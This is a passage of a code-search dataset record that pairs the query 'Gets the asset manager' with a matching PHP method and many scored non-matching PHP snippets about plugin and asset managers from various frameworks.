}\n }", "function getPluginPath() {\n\t\treturn $this->pluginPath;\n\t}", "public function getParentPluginNamespace() {}", "public function getAvailablePlugins()\n\t{\n\t\t$this->loadAvailablePlugins();\n\t\treturn self::$_plugins;\n\t}", "private function getPluginConfig()\n {\n // get subshop specific config\n $shop = $this->getShop();\n $pluginConfig = Shopware()->Container()->get('shopware.plugin.cached_config_reader')->getByPluginName('RocketBoard', $shop);\n return $pluginConfig;\n }", "public static function getPluginList () {\n\t\treturn self::$pInfo[1];\n\t\t$glob = glob(TH_ROOT.TH_PLUGINS.'*/plugin.php');\n\t\tforeach($glob as $plugin) {\n\t\t\t// $plugin is a full path, we don't want that.\n\t\t\t$plugin = explode(TH_ROOT.TH_PLUGINS, $plugin, 2);\n\t\t\t$plugin = explode('/plugin.php', $plugin[1]);\n\t\t\t$r[] = $plugin[0];\n\t\t}\n\t\treturn $r;\n\t}", "public function get_shared_plugins() {\n\t\treturn get_plugins( self::SHARED_PLUGINS_RELATIVE_PATH );\n\t}", "public function plugins(){\r\n\t\t//first check for permission\r\n\t\tif($this->users->is_logedin() && $this->users->has_permission('administrator_admin_panel')\t){\r\n\t\t\treturn $this->module_plugins();\r\n\t\t}\r\n\t\telse{\r\n\t\t\t//access denied\r\n\t\t\treturn $this->module_no_permission();\r\n\t\t}\r\n\t\t\r\n\t}", "function &_getPlugin() {\n\t\t$plugin =& PluginRegistry::getPlugin('generic', USAGESTATS_PLUGIN_NAME);\n\t\treturn $plugin;\n\t}", "public static function instance(){\n if (!self::$instance){\n self::$instance = new Plugins();\n }\n return self::$instance;\n }", "public function getContainedPluginConfiguration();", "function subsite_manager_get_plugins() {\n\n // grab plugins\n $options = array(\n 'type' => 'object',\n 'subtype' => 'plugin',\n 'limit' => false\n );\n\n $old_ia = elgg_set_ignore_access(true);\n $plugins = elgg_get_entities($options);\n elgg_set_ignore_access($old_ia);\n\n return $plugins;\n }", "protected function getInstalledPlugins()\n\t{\n\t\tif(!class_exists('Zend_Registry'))\n\t\t{\n\t\t\tthrow new Exception(\"Not possible to list installed plugins (case LogStats module)\");\n\t\t}\n\t\tif(!is_null(Zend_Registry::get('config')->PluginsInstalled->PluginsInstalled))\n\t\t{\n\t\t\treturn Zend_Registry::get('config')->PluginsInstalled->PluginsInstalled->toArray();\n\t\t}\n\t\telseif(is_array(Zend_Registry::get('config')->PluginsInstalled))\n\t\t{\n\t\t\treturn Zend_Registry::get('config')->PluginsInstalled;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn Zend_Registry::get('config')->PluginsInstalled->toArray();\n\t\t}\n\t}", "public function getPluginInstances()\n {\n return Collection::make($this->pluginDirectories())->map(function ($path) {\n $name = $this->files->basename($path);\n $class = $this->qualifyNamespace($name);\n \n if(! class_exists($class)) {\n return null;\n }\n\n $plugin = new $class(app());\n\n if($plugin instanceof Plugin) {\n return $plugin;\n } \n\n return null;\n })->filter();\n }", "abstract protected function get_prerequisite_plugins();", "public function get_plugins(){\n\t\t\t\n\t\t\t$this->load->dbutil(); \n\n\t\t\tif($this->dbutil->database_exists('wpadmin_localhost')){\n\n\t\t\t\t# Get the credentials from the database to populate the database below.\n\t\t \t$this->load->model('download_model');\t\n\n\t\t\t\t$query = $this\n\t\t\t\t\t\t\t->download_model\n\t\t\t\t\t\t\t->get_site_credentials();\n\n\t\t\t\t$host = $query[0]->admin_host;\n\t\t\t\t$user = $query[0]->admin_user;\n\t\t\t\t$pass = $query[0]->admin_password;\t\t\t\t\n\n\t\t\t\t$config['hostname'] = \"localhost\";\n\t\t\t $config['username'] = $user;\n\t\t\t $config['password'] = $pass;\n\t\t\t $config['database'] = \"wordpress_default_plugins\";\n\t\t\t $config['dbdriver'] = \"mysql\";\n\t\t\t $config['dbprefix'] = \"\";\n\t\t\t $config['pconnect'] = FALSE;\n\t\t\t $config['db_debug'] = TRUE;\n\t\t\t $config['cache_on'] = FALSE;\n\t\t\t $config['cachedir'] = \"\";\n\t\t\t $config['char_set'] = \"utf8\";\n\t\t\t $config['dbcollat'] = \"utf8_general_ci\";\n\n\t\t\t \t$db2 = $this->load->database($config,TRUE);\n\n\t\t\t\t$query = $db2->get('default_plugins');\n\n\t\t\t\t$query = $query->result();\t\n\n\t\t\t\treturn $query; \t\t\t\n\n\t\t\t}\telse {\n\t\t\t\tredirect('admin');\n\t\t\t}\n\n\n\t\t}", "function GhostPool_Addons_Manager() {\n\treturn GhostPool_Addons_Manager::instance();\n}", "public function getLayers();", "function wp_get_active_and_valid_plugins()\n {\n }", "function get_plugins($plugin_folder = '')\n {\n }", "public function get($name)\n {\n return $this->pluginManager->get($name);\n }", "public function getPluginConfiguration() {\n return $this->pluginConfiguration;\n }", "public function get_plugin_data(): array\n {\n return $this->plugin_data;\n }", "public function getFieldWidgetPluginManager() {\n return $this->fieldWidgetPluginManager;\n }", "public function getPluginContext() {\n return array(\n 'code' => $this->code,\n );\n }", "public function get_plugins()\n {\n $pluginDirs = App::objects('plugin', null, false);\n $plugins = array();\n\n foreach ($pluginDirs as $pluginDir){\n\n $pluginClasses = App::objects('controller', APP.'Plugin'. DS .$pluginDir. DS .'Controller', false);\n\n App::import('Controller', $pluginDir.'.'.$pluginDir.'App');\n $parentActions = get_class_methods($pluginDir.'AppController');\n\n foreach($pluginClasses as $plugin) {\n\n if (strpos($plugin,'App') === false) {\n\n $plugin = str_ireplace('Controller', '', $plugin);\n App::import('Controller', $pluginDir.'.'.$plugin);\n $actions = get_class_methods($plugin.'Controller');\n\n foreach($actions as $k => $v) {\n if ($v{0} == '_') {\n unset($actions[$k]);\n }\n }\n\n $plugins[$pluginDir][$plugin] = array_diff($actions, $parentActions);\n }\n }\n }\n\n return $plugins;\n }", "public function getPluginType();", "public function get_meta_plugins() {\n\t\tSingleton::get_instance( 'Plugin', $this )->get_remote_plugin_meta();\n\t}", "public function init() {\n $this->getBootstrap()->bootstrap('logger'); // make sure that logger exists\n $options = $this->getOptions();\n /** @var $logger Zend_Log */\n $logger = Zend_Registry::get('logger')->ensureStream('system');\n\n $plugins = array();\n\n if (empty($options)) {\n $logger->log(\"DbPlugins not found\", Zend_Log::DEBUG);\n } else {\n foreach($options as $alias => $className) {\n $message = \"Load \\\"$alias\\\" from \\\"$className\\\"... \";\n if (class_exists($className)) {\n $logger->log($message . \"done\", Zend_Log::DEBUG);\n $plugins[$alias] = $className;\n } else {\n $logger->log($message . \"failed\", Zend_Log::ERR);\n }\n\n }\n }\n Zend_Registry::set(self::REGISTRY_ALIAS, $plugins);\n return $plugins;\n }", "public function getHooks() { return $this->_hooks; }", "function getCategory() {\n\t\treturn $this->pluginCategory;\n\t}", "public function getEnabledPlugins() {\n if ( is_null($this->_enabled) ) {\n $this->_enabled = array();\n foreach( $this->getPlugins() as $name => $plugin ) {\n if ( $plugin->isEnabled() ) {\n $this->_enabled[ $name ] = $plugin;\n }\n }\n }\n return $this->_enabled;\n }", "public function plugin_path()\n {\n return plugin_dir_path(__FILE__);\n }", "public function listPlugin()\n\t{\n\t\t\n\t}", "public function getPluginSettings()\n {\n return $this->origSettings;\n }", "public function getLoader(): ?HorseShop\n {\n $plugin = Server::getInstance()->getPluginManager()->getPlugin(\"HorseShop\");\n if ($plugin instanceof HorseShop) {\n return $plugin;\n }\n return null;\n }", "public function plugins()\n {\n $plugins = Plugin::with('functions.categories', 'categories')->get();\n #$plugins_tmp = clone $plugins;\n\n #inject \"Plugins\" from Collection category\n foreach($plugins as $plugin) {\n #return $plugin;\n if($plugin->is_collection) {\n\n foreach($plugin->functions as $func) {\n #$p = clone $plugin;\n\n # TODO refactor ugly code, check why new Plugin() triggers extra db queries.\n $arr = array();\n $arr['functions'] = array();\n $arr['categories'] = array();\n $p = json_decode(json_encode($arr));\n\n $p->name = $func->name;\n $p->categories_id = $func->categories_id;\n $p->categories['name'] = '';#$func->categories['name'];\n $p->description = $func['description'];\n $p->type = $plugin['type'];\n $p->identifier = $plugin['identifier'];\n $p->namespace = $plugin['namespace'];\n $p->gpusupport = $plugin['gpusupport'];\n $p->vs_included = $plugin['vs_included'];\n $p->version_published = $plugin->version_published;\n $p->shortalias = $plugin['shortalias'];\n $p->url_github = $plugin['url_github'];\n $p->url_doom9 = $plugin['url_doom9'];\n $p->url_website = $plugin['url_website'];\n $p->url_avswiki = $plugin['url_avswiki'];\n\n if($p->name == $func->name) { # the new *fake* plugin needs only its own plugin-function\n $p->functions[] = $func;\n }\n $p->releases = $plugin['releases'];\n $p->dependencies = $plugin['dependencies'];\n #print_r($p); die;\n $plugins[] = $p;\n\n } #return $plugins_tmp; die;\n }\n\n }\n #echo \"<pre>\";print_r($plugins); die;\n #return $plugins;\n\t\treturn view('plugins.plugins', compact('plugins'));\n }", "public function plugin ()\n {\n return new Plugin($this->url, $this->port);\n }", "public function getPluginUrl (): string {\n return $this->pluginUrl;\n }", "protected function sourcePluginCollection() {\n if (!$this->sourcePluginCollection && $this->source) {\n $this->sourcePluginCollection = new DefaultSingleLazyPluginCollection(\\Drupal::service('plugin.manager.media.source'), $this->source, $this->source_configuration);\n }\n return $this->sourcePluginCollection;\n }", "function mbifthen_active_nw_plugins() {\r\n\tif ( !is_multisite() )\r\n\t\treturn false;\r\n\t$mbifthen_activePlugins = ( get_site_option('active_sitewide_plugins' ) ) ? array_keys( get_site_option('active_sitewide_plugins' ) ) : array();\r\n\treturn $mbifthen_activePlugins;\r\n}", "function plugin(): Plugin {\n\tstatic $instance = null;\n\n\t$autoload_file = __DIR__ . '/vendor/autoload.php';\n\tif ( file_exists( $autoload_file ) ) {\n\t\trequire $autoload_file;\n\t}\n\n\tif ( is_null( $instance ) ) {\n\t\t$base_path = __FILE__;\n\t\t$base_dir = dirname( $base_path );\n\t\t$base_url = plugins_url( '', $base_path );\n\t\t$services_factory = require_once \"$base_dir/services.php\";\n\t\t$services = $services_factory( $base_dir, $base_url );\n\t\t$container = new DI_Container( $services );\n\n\t\t$instance = new Plugin( $container );\n\t}\n\n\treturn $instance;\n}", "public function loadPlugins() {\n return $this->getScenario()->runStep(new \\Codeception\\Step\\Action('loadPlugins', func_get_args()));\n }", "public function getActivePlugins() {\n if (is_null($this->_activePlugins)) {\n $activePlugins = $this->_optionsHelper->getOption('active_plugins');\n $this->_activePlugins = $activePlugins ? $activePlugins : array();\n }\n return $this->_activePlugins;\n }", "public function getPluginName() {}", "protected function layoutPluginManager() {\n return \\Drupal::service('plugin.manager.core.layout');\n }", "public function getPluginDir (): string {\n return $this->pluginDir;\n }", "public function getTemplatePluginPath() {\n return $this->_sAbsoluteHelTemplatePath;\n }", "public static function getPluginData(): array {\n\t\treturn Plugin::init()->data();\n\t}", "public function getNavigation() {\n\t\t$plugins = Admin::getModels();\n\t\t$navigation = array();\n\n\t\tforeach ($plugins as $plugin) {\n\t\t\t$models = array();\n\n\t\t\tforeach ($plugin['models'] as $model) {\n\t\t\t\tif ($model['installed']) {\n\t\t\t\t\t$models[Inflector::humanize($model['group'])][] = $model;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$navigation[$plugin['title']] = $models;\n\t\t}\n\n\t\treturn $navigation;\n\t}" ]
[ "0.7240549", "0.7240549", "0.715986", "0.70793486", "0.7010067", "0.6948934", "0.6936896", "0.6825771", "0.6666132", "0.6666132", "0.6659377", "0.6601763", "0.6511795", "0.64987653", "0.64835393", "0.64244604", "0.64130133", "0.63409764", "0.6284485", "0.6236797", "0.6225006", "0.6216378", "0.62158704", "0.61695844", "0.61689335", "0.6150763", "0.6144683", "0.612165", "0.6121277", "0.61041194", "0.60727525", "0.605662", "0.605552", "0.60541487", "0.6004033", "0.59860843", "0.59705675", "0.596765", "0.59530306", "0.5948717", "0.5948574", "0.59451514", "0.5943957", "0.5930201", "0.59044105", "0.5899651", "0.5874138", "0.5872287", "0.58036304", "0.57847506", "0.5782412", "0.57769006", "0.5749602", "0.5745598", "0.57416576", "0.5731294", "0.5725159", "0.5723489", "0.57100314", "0.5691546", "0.5689239", "0.5680356", "0.5663918", "0.5623122", "0.5614983", "0.56025785", "0.5589243", "0.5581557", "0.5575706", "0.5567873", "0.5547469", "0.5539379", "0.55380386", "0.5537748", "0.5524839", "0.55206233", "0.5519059", "0.5509585", "0.54896826", "0.54871714", "0.54848343", "0.5465169", "0.5449535", "0.5445187", "0.54406977", "0.54285127", "0.5419576", "0.5418612", "0.5417373", "0.5398857", "0.5388824", "0.5381922", "0.5381522", "0.53777343", "0.5363311", "0.53574866", "0.5353287", "0.53503597", "0.53486454", "0.5320802" ]
0.6941273
6
Gets the asset manager
public function getAssets() { return $this->getService('assets'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getAssetManager()\n {\n if (!is_object($this->_assetManager)) {\n $options = $this->_assetManager;\n if (!isset($options['class'])) {\n $options['class'] = 'yii\\\\web\\\\AssetManager';\n }\n if (!isset($options['basePath'])) {\n throw new Exception(\"Please specify 'basePath' for the 'assetManager' option.\");\n }\n if (!isset($options['baseUrl'])) {\n throw new Exception(\"Please specify 'baseUrl' for the 'assetManager' option.\");\n }\n\n if (!isset($options['forceCopy'])) {\n $options['forceCopy'] = true;\n }\n\n $this->_assetManager = Yii::createObject($options);\n }\n\n return $this->_assetManager;\n }", "final public function getAssetsManager(): ?AssetsManager\n {\n return $this->assets_manager ?? ($this->getParent() ? $this->getParent()->getAssetsManager() : null) ?? null;\n }", "public function getAssetsFilterManager()\n {\n if (!$this->assetsFilterManager instanceof \\AssetsBundle\\Service\\AssetsFilterManager) {\n $this->setAssetsFilterManager(new \\AssetsBundle\\Service\\AssetsFilterManager());\n }\n return $this->assetsFilterManager;\n }", "protected function getManager()\n {\n return $this->manager;\n }", "public function getManager()\n {\n return $this->manager;\n }", "public function getManager()\n {\n return $this->manager;\n }", "public function getManager()\n {\n return $this->manager;\n }", "public function getManager() {\n return $this->manager;\n }", "public function getImageManager() : ImageManager\n {\n return $this->image_manager;\n }", "protected function getObjectManager()\n {\n return $this->managerRegistry->getManager($this->managerName);\n }", "protected static function getFacadeAccessor()\n {\n return AssetManager::class;\n }", "public function getRenderStrategyManager()\n {\n if (!$this->renderStrategyManager instanceof \\AssetsBundle\\Service\\RenderStrategyManager) {\n $this->setRenderStrategyManager(new \\AssetsBundle\\Service\\RenderStrategyManager());\n }\n return $this->renderStrategyManager;\n }", "public function getObjectManager(): mixed\n {\n return $this->objectManager;\n }", "public function getObjectManager()\r\n {\r\n return $this->objectManager;\r\n }", "protected function getObjectManager()\n {\n return $this->objectManager;\n }", "public function getObjectManager()\n {\n return $this->objectManager;\n }", "public function getObjectManager()\n {\n return $this->objectManager;\n }", "public function getObjectManager()\n {\n return $this->objectManager;\n }", "public function getObjectManager()\n {\n return $this->objectManager;\n }", "protected function getEM() {\n return $this->getDoctrine()->getEntityManager();\n }", "protected function getObjectManager()\n {\n return $this->_objectManager;\n }", "public static function getAsset() {\n if (Asset::$asset == null) {\n Asset::$asset = new Asset();\n }\n return Asset::$asset;\n }", "protected function getRequireAssetManager(ContainerBuilder $container)\n {\n $prefixId = 'fxp_require_asset.assetic.config.';\n /* @var FileExtensionManagerInterface $extManager */\n $extManager = $container->get($prefixId.'file_extension_manager');\n /* @var PatternManagerInterface $patternManager */\n $patternManager = $container->get($prefixId.'pattern_manager');\n /* @var OutputManagerInterface $outputManager */\n $outputManager = $container->get($prefixId.'output_manager');\n /* @var LocaleManagerInterface $localeManager */\n $localeManager = $container->get($prefixId.'locale_manager');\n /* @var PackageManagerInterface $packageManager */\n $packageManager = $container->get($prefixId.'package_manager');\n /* @var AssetReplacementManagerInterface $replacementManager */\n $replacementManager = $container->get($prefixId.'asset_replacement_manager');\n\n $ram = new RequireAssetManager();\n $ram->setFileExtensionManager($extManager)\n ->setPatternManager($patternManager)\n ->setOutputManager($outputManager)\n ->setLocaleManager($localeManager)\n ->setAssetReplacementManager($replacementManager)\n ->setPackageManager($packageManager);\n\n return $ram;\n }", "public function getManager(): Gutenberg\n {\n return $this->manager;\n }", "public function get_assets_handler() {\n\t\treturn $this->assets_handler;\n\t}", "public static function assets_manager( $fresh = false ) {\n\n\t\treturn self::factory( 'assets-manager', $fresh );\n\t}", "public function getManager() {\n return $this->em;\n }", "public function getResourceManager() {\n// \tthrow new osid_OperationFailedException('getResourceManager() is not yet implemented.');\n \t\n \tif (!isset($this->resourceManager)) {\n \t\t$this->resourceManager = $this->impl_getRuntimeManager()->getManager(osid_OSID::RESOURCE(), 'banner_resource_ResourceManager', '3.0.0');\n \t}\n \t\n \treturn $this->resourceManager;\n\t}", "public static function getManager()\n {\n return new ImageManager([\n \"driver\" => self::getAvailableDriver(),\n ]);\n }", "protected function getAssetFactory() {\n if ($this->assetFactory === null) {\n $this->assetFactory = new AssetFactory($this->cachePath());\n $this->assetFactory->setFilterManager($this->getFilterManager());\n }\n return $this->assetFactory;\n }", "public function getViewManager()\n {\n return $this->viewManager;\n }", "public function getObjectManager() {\n\t\tif(($this->objectManager instanceof \\TYPO3\\CMS\\Extbase\\Object\\ObjectManager) === false) {\n\t\t\t$this->objectManager = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance(\\TYPO3\\CMS\\Extbase\\Object\\ObjectManager::class);\n\t\t}\n\n\t\treturn $this->objectManager;\n\t}", "public function getObjectManager() {\n\t\tif(($this->objectManager instanceof \\TYPO3\\CMS\\Extbase\\Object\\ObjectManager) === false) {\n\t\t\t$this->objectManager = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance('TYPO3\\\\CMS\\\\Extbase\\\\Object\\\\ObjectManager');\n\t\t}\n\n\t\treturn $this->objectManager;\n\t}", "public static function getInstance()\n {\n if (!isset(self::$instance))\n {\n self::$instance = new ZtonepageAssets();\n }\n if (isset(self::$instance))\n {\n return self::$instance;\n }\n }", "public function getAsset()\n {\n if ($this->asset === null) {\n $this->asset = AssetFacade::find($this->getAssetId());\n }\n\n return $this->asset;\n }", "public function getObjectManager() {}", "public function getAsset()\r\n\t{\r\n\t\treturn Yii::app()->assetManager->publish(YiiBase::getPathOfAlias('application.modules.dashboard.assets'), true, -1, YII_DEBUG);\r\n\t}", "protected function getAssetic_AssetManagerService()\n {\n $a = $this->get('templating.loader');\n\n $this->services['assetic.asset_manager'] = $instance = new \\Assetic\\Factory\\LazyAssetManager(${($_ = isset($this->services['assetic.asset_factory']) ? $this->services['assetic.asset_factory'] : $this->getAssetic_AssetFactoryService()) && false ?: '_'}, array('twig' => new \\Assetic\\Factory\\Loader\\CachedFormulaLoader(new \\Assetic\\Extension\\Twig\\TwigFormulaLoader($this->get('twig'), $this->get('monolog.logger.assetic', ContainerInterface::NULL_ON_INVALID_REFERENCE)), new \\Assetic\\Cache\\ConfigCache((__DIR__.'/assetic/config')), false)));\n\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'FrameworkBundle', ($this->targetDirs[3].'/app/Resources/FrameworkBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'FrameworkBundle', ($this->targetDirs[3].'/vendor/symfony/symfony/src/Symfony/Bundle/FrameworkBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'SecurityBundle', ($this->targetDirs[3].'/app/Resources/SecurityBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'SecurityBundle', ($this->targetDirs[3].'/vendor/symfony/symfony/src/Symfony/Bundle/SecurityBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'TwigBundle', ($this->targetDirs[3].'/app/Resources/TwigBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'TwigBundle', ($this->targetDirs[3].'/vendor/symfony/symfony/src/Symfony/Bundle/TwigBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'MonologBundle', ($this->targetDirs[3].'/app/Resources/MonologBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'MonologBundle', ($this->targetDirs[3].'/vendor/symfony/monolog-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'SwiftmailerBundle', ($this->targetDirs[3].'/app/Resources/SwiftmailerBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'SwiftmailerBundle', ($this->targetDirs[3].'/vendor/symfony/swiftmailer-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'DoctrineBundle', ($this->targetDirs[3].'/app/Resources/DoctrineBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'DoctrineBundle', ($this->targetDirs[3].'/vendor/doctrine/doctrine-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'SensioFrameworkExtraBundle', ($this->targetDirs[3].'/app/Resources/SensioFrameworkExtraBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'SensioFrameworkExtraBundle', ($this->targetDirs[3].'/vendor/sensio/framework-extra-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'AppBundle', ($this->targetDirs[3].'/app/Resources/AppBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'AppBundle', ($this->targetDirs[3].'/src/AppBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'A2lixTranslationFormBundle', ($this->targetDirs[3].'/app/Resources/A2lixTranslationFormBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'A2lixTranslationFormBundle', ($this->targetDirs[3].'/vendor/a2lix/translation-form-bundle/A2lix/TranslationFormBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'BazingaJsTranslationBundle', ($this->targetDirs[3].'/app/Resources/BazingaJsTranslationBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'BazingaJsTranslationBundle', ($this->targetDirs[3].'/vendor/willdurand/js-translation-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'AsseticBundle', ($this->targetDirs[3].'/app/Resources/AsseticBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'AsseticBundle', ($this->targetDirs[3].'/vendor/symfony/assetic-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'TroopersAsseticInjectorBundle', ($this->targetDirs[3].'/app/Resources/TroopersAsseticInjectorBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'TroopersAsseticInjectorBundle', ($this->targetDirs[3].'/vendor/troopers/assetic-injector-bundle/Troopers/AsseticInjectorBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'TroopersAlertifyBundle', ($this->targetDirs[3].'/app/Resources/TroopersAlertifyBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'TroopersAlertifyBundle', ($this->targetDirs[3].'/vendor/troopers/alertify-bundle/Troopers/AlertifyBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'FOSUserBundle', ($this->targetDirs[3].'/app/Resources/FOSUserBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'FOSUserBundle', ($this->targetDirs[3].'/vendor/friendsofsymfony/user-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'FOSJsRoutingBundle', ($this->targetDirs[3].'/app/Resources/FOSJsRoutingBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'FOSJsRoutingBundle', ($this->targetDirs[3].'/vendor/friendsofsymfony/jsrouting-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'JMSSerializerBundle', ($this->targetDirs[3].'/app/Resources/JMSSerializerBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'JMSSerializerBundle', ($this->targetDirs[3].'/vendor/jms/serializer-bundle/JMS/SerializerBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'LiipImagineBundle', ($this->targetDirs[3].'/app/Resources/LiipImagineBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'LiipImagineBundle', ($this->targetDirs[3].'/vendor/liip/imagine-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'KnpMenuBundle', ($this->targetDirs[3].'/app/Resources/KnpMenuBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'KnpMenuBundle', ($this->targetDirs[3].'/vendor/knplabs/knp-menu-bundle/Resources/views'), 